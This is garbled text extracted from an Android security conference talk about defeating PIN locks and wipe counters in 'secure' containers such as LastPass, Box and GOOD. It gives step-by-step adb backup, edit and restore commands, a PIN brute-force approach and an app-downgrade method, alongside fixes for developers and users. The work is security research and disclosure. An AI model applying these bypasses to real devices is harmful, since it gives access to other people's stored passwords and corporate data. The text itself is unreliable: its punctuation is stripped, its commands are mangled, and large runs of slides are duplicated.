Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 7: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
